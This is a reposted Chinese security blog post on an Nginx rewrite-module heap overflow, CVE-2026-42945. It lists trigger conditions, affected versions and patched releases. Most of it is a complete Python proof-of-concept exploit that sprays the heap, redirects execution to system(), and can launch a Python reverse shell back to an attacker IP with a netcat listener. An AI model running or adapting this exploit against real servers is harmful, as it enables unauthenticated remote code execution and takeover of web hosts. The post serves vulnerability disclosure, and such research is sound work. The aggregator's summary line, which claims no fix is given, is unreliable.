文章总结: 该文档详细分析了Nginx服务器CVE-2026-42945高危漏洞,该漏洞在rewrite模块配置满足特定条件时可触发堆缓冲区溢出,导致远程代码执行或服务崩溃。文档提供了完整的漏洞触发条件、影响版本范围和Python编写的POC利用代码,但未包含具体的修复方案或缓解措施。 综合评分: 65 文章分类: 漏洞分析,WEB安全,应急响应,安全工具,红队
CVE-2026-42945,Nginx高危漏洞 | 可致RCE或服务崩溃
小白爱学习Sec
2026年5月19日 08:15 云南
在小说阅读器读本章
去阅读
0x1 引言
最近工作也比较忙,公众号也是自己在做,发一些自己的学习知识,以及分享一些小工具这些,自己知识面也比较窄,可能没有那么多的内容来写,尽量做到每周一更或两更,特殊时间可能会多更一些,内容没有太大的深度,有什么不理解的,大家也可以在评论区留言,看到了都会去回复的。
0x2 免责声明
本文旨在提供有关特定漏洞工具或安全风险的详细信息,以帮助安全研究人员、系统管理员和开发人员更好地理解和修复潜在的安全威胁,协助提高网络安全意识并推动技术进步,而非出于任何恶意目的。利用本文提到的漏洞信息或进行相关测试可能会违反法律法规或服务协议。作者不对读者基于本文内容而产生的任何行为或后果承担责任。如有任何侵权问题,请联系作者删除。
0x3 简单介绍
Nginx服务器的rewrite模块配置满足特定条件时,攻击者可以通过发送精心构造的HTTP请求触发堆缓冲区溢出。具体而言,当rewrite指令后跟随rewrite、if或set指令,并且使用了未命名的Perl兼容正则表达式(PCRE)捕获组(如$1或$2),同时替换字符串中包含问号(?)字符时,可触发该漏洞,攻击者无需身份认证即可发起攻击。
影响版本
1.0.0 <= NGINX Open Source <= 1.30.00.6.27 <= NGINX Open Source <= 0.9.7R32 <= NGINX Plus < R32 P6R36 <= NGINX Plus < R36 P4
其他受影响组件:2.16.0 <= NGINX Instance Manager <= 2.21.15.9.0 <= F5 WAF for NGINX <= 5.12.14.9.0 <= NGINX App Protect WAF <= 4.16.05.1.0 <= NGINX App Protect WAF <= 5.8.0F5 DoS for NGINX 4.8.04.3.0 <= NGINX App Protect DoS <= 4.7.01.3.0 <= NGINX Gateway Fabric <= 1.6.22.0.0 <= NGINX Gateway Fabric <= 2.5.13.5.0 <= NGINX Ingress Controller <= 3.7.24.0.0 <= NGINX Ingress Controller <= 4.0.15.0.0 <= NGINX Ingress Controller <= 5.4.1
0x4 漏洞详情
利用条件:在 Nginx 的配置中,必须存在一个rewrite指令,并且该指令同时满足:1、使用了未命名的 PCRE 正则捕获(例如 $1, $2 等)。2、其替换字符串中包含问号(?)。3、在此 rewrite 指令之后,紧跟着另一个 rewrite、if 或 set 指令。
POC
https://github.com/DepthFirstDisclosures/Nginx-Rift
#!/usr/bin/env python3import argparseimport socketimport structimport timeimport sys
BODY_LEN = 4000N_SPRAY = 20
SAFE = set()_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]for _b in range(256): if not (_t[_b >> 5] & (1 << (_b & 0x1f))): SAFE.add(_b)
HEAP_BASE = 0x555555659000LIBC_BASE = 0x7ffff77ba000SYSTEM_ADDR = LIBC_BASE + 0x50d70
PREREAD_HEAP_OFFSETS = [ 0x05a427, 0x060e67, 0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97, 0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7, 0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37, 0x103847, 0x108657, 0x10d467,]
def addr_is_safe(addr): return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))
def make_body(cmd, data_addr): fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0) cmd_bytes = cmd.encode('utf-8') + b'\x00' payload = fake_struct + cmd_bytes if len(payload) > BODY_LEN: print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})") sys.exit(1) return payload + b'\x41' * (BODY_LEN - len(payload))
def wait_alive(host, port, timeout=30): for _ in range(timeout): try: s = socket.create_connection((host, port), timeout=2) s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n") s.recv(100) s.close() return True except Exception: time.sleep(1) return False
def attempt(host, port, target_bytes, body): sprays = [] for i in range(N_SPRAY): try: s = socket.create_connection((host, port), timeout=5) req = ( b"POST /spray HTTP/1.1\r\n" b"Host: l\r\n" b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n" b"X-Delay: 60\r\n" b"Connection: close\r\n" b"\r\n" + body ) s.sendall(req) sprays.append(s) except Exception: break time.sleep(0.005) time.sleep(0.2)
try: a = socket.create_connection((host, port), timeout=5) time.sleep(0.02) v = socket.create_connection((host, port), timeout=5) time.sleep(0.02) except Exception: for s in sprays: try: s.close() except Exception: pass return False
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1") a.sendall((f"GET /api/{payload} HTTP/1.1\r\n" f"Host:localhost\r\n").encode("latin-1")) time.sleep(0.05) v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n") time.sleep(0.05) a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n") time.sleep(0.2)
v.close() time.sleep(0.1)
crashed = False try: a.sendall(b"X-Ping:1\r\n") a.settimeout(0.2) data = a.recv(1) if not data: crashed = True except socket.timeout: # It timed out. Nginx is either alive (waiting for backend) or hung in system(). # Let's try to make a new connection to see if the worker is responsive. try: check_sock = socket.create_connection((host, port), timeout=0.2) check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n") check_data = check_sock.recv(10) check_sock.close() if not check_data: crashed = True else: crashed = False except Exception: crashed = True except (ConnectionResetError, BrokenPipeError, OSError): crashed = True
for s in sprays: try: s.close() except Exception: pass try: a.close() except Exception: pass return crashed
def main(): parser = argparse.ArgumentParser( description="nginx rift RCE exploit (ASLR disabled)" ) parser.add_argument("--host", default="127.0.0.1", help="target host (default: 127.0.0.1)") parser.add_argument("--port", type=int, default=19321, help="target port (default: 19321)") parser.add_argument("--cmd", help="shell command to execute via system()") parser.add_argument("--shell", action="store_true", help="execute a reverse shell back to the attacker") parser.add_argument("--listen-port", type=int, default=1337, help="port to listen on for reverse shell (default: 1337)") parser.add_argument("--listen-ip", type=str, default="172.17.0.1", help="IP address for reverse shell to connect back to (default: 172.17.0.1)") args = parser.parse_args()
if not args.cmd and not args.shell: parser.error("either --cmd or --shell must be specified") if args.cmd and args.shell: parser.error("cannot specify both --cmd and --shell")
host = args.host port = args.port
if args.shell: local_ip = args.listen_ip cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" print(f"[*] Generated reverse shell command: {cmd}") else: cmd = args.cmd
if args.shell: import threading def listen_shell(): print(f"[*] Listening for reverse shell on port {args.listen_port}...") # Use netcat if available, otherwise just use a simple socket listener import subprocess try: subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True) except Exception: print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
t = threading.Thread(target=listen_shell) t.daemon = True t.start() # Give the listener a moment to start time.sleep(1)
candidates = [] for i, off in enumerate(PREREAD_HEAP_OFFSETS): addr = HEAP_BASE + off if addr_is_safe(addr): candidates.append((i, addr))
primary_addr = candidates[0][1] data_addr = primary_addr + 24 body = make_body(cmd, data_addr)
print(f"[*] Waiting for nginx on {host}:{port}...") if not wait_alive(host, port): print("[!] nginx not responding") return 1 print("[+] Connected.")
TRIES_PER_CANDIDATE = 10
for i, addr in candidates: target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])
for t in range(TRIES_PER_CANDIDATE): if not wait_alive(host, port, timeout=10): time.sleep(2) if not wait_alive(host, port, timeout=10): print(" server not recovering, aborting") return 1
crashed = attempt(host, port, target, body) if crashed: if args.shell: try: while True: time.sleep(1) except KeyboardInterrupt: pass else: print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} " f"crashed — system(\"{cmd}\") executed") print(f"[+] Done.") return 0 time.sleep(0.3)
print("[+] All candidates tried — no crash detected.") return 0
if __name__ == "__main__": sys.exit(main())
修复补丁:
F5 已发布 NGINX 1.31.0/1.30.1 版进行修复:开源版的 NGINX 需升级到 1.30.1 版或 1.31.0 版,其他旧版本例如 0.6.27~1.30.0 版均受漏洞影响。
往期推荐
一款文件上传漏洞检测工具|支持多种文件上传绕过技术
【工具推荐】微信小程序一键反编译与敏感信息审计 | MPscan
【工具推荐】一款专为渗透测试人员设计的 API 接口自动化检测工具 | ApiHunter接口测试
【工具推荐】ActiveMQ全系列漏洞一键支持检测和利用工具 | ActiveMQ漏洞利用工具
整理了一些ERP安装包的下载链接 | 主要是用友、金蝶等ERP下载链接
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小白爱学习Sec 《CVE-2026-42945,Nginx高危漏洞 | 可致RCE或服务崩溃》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论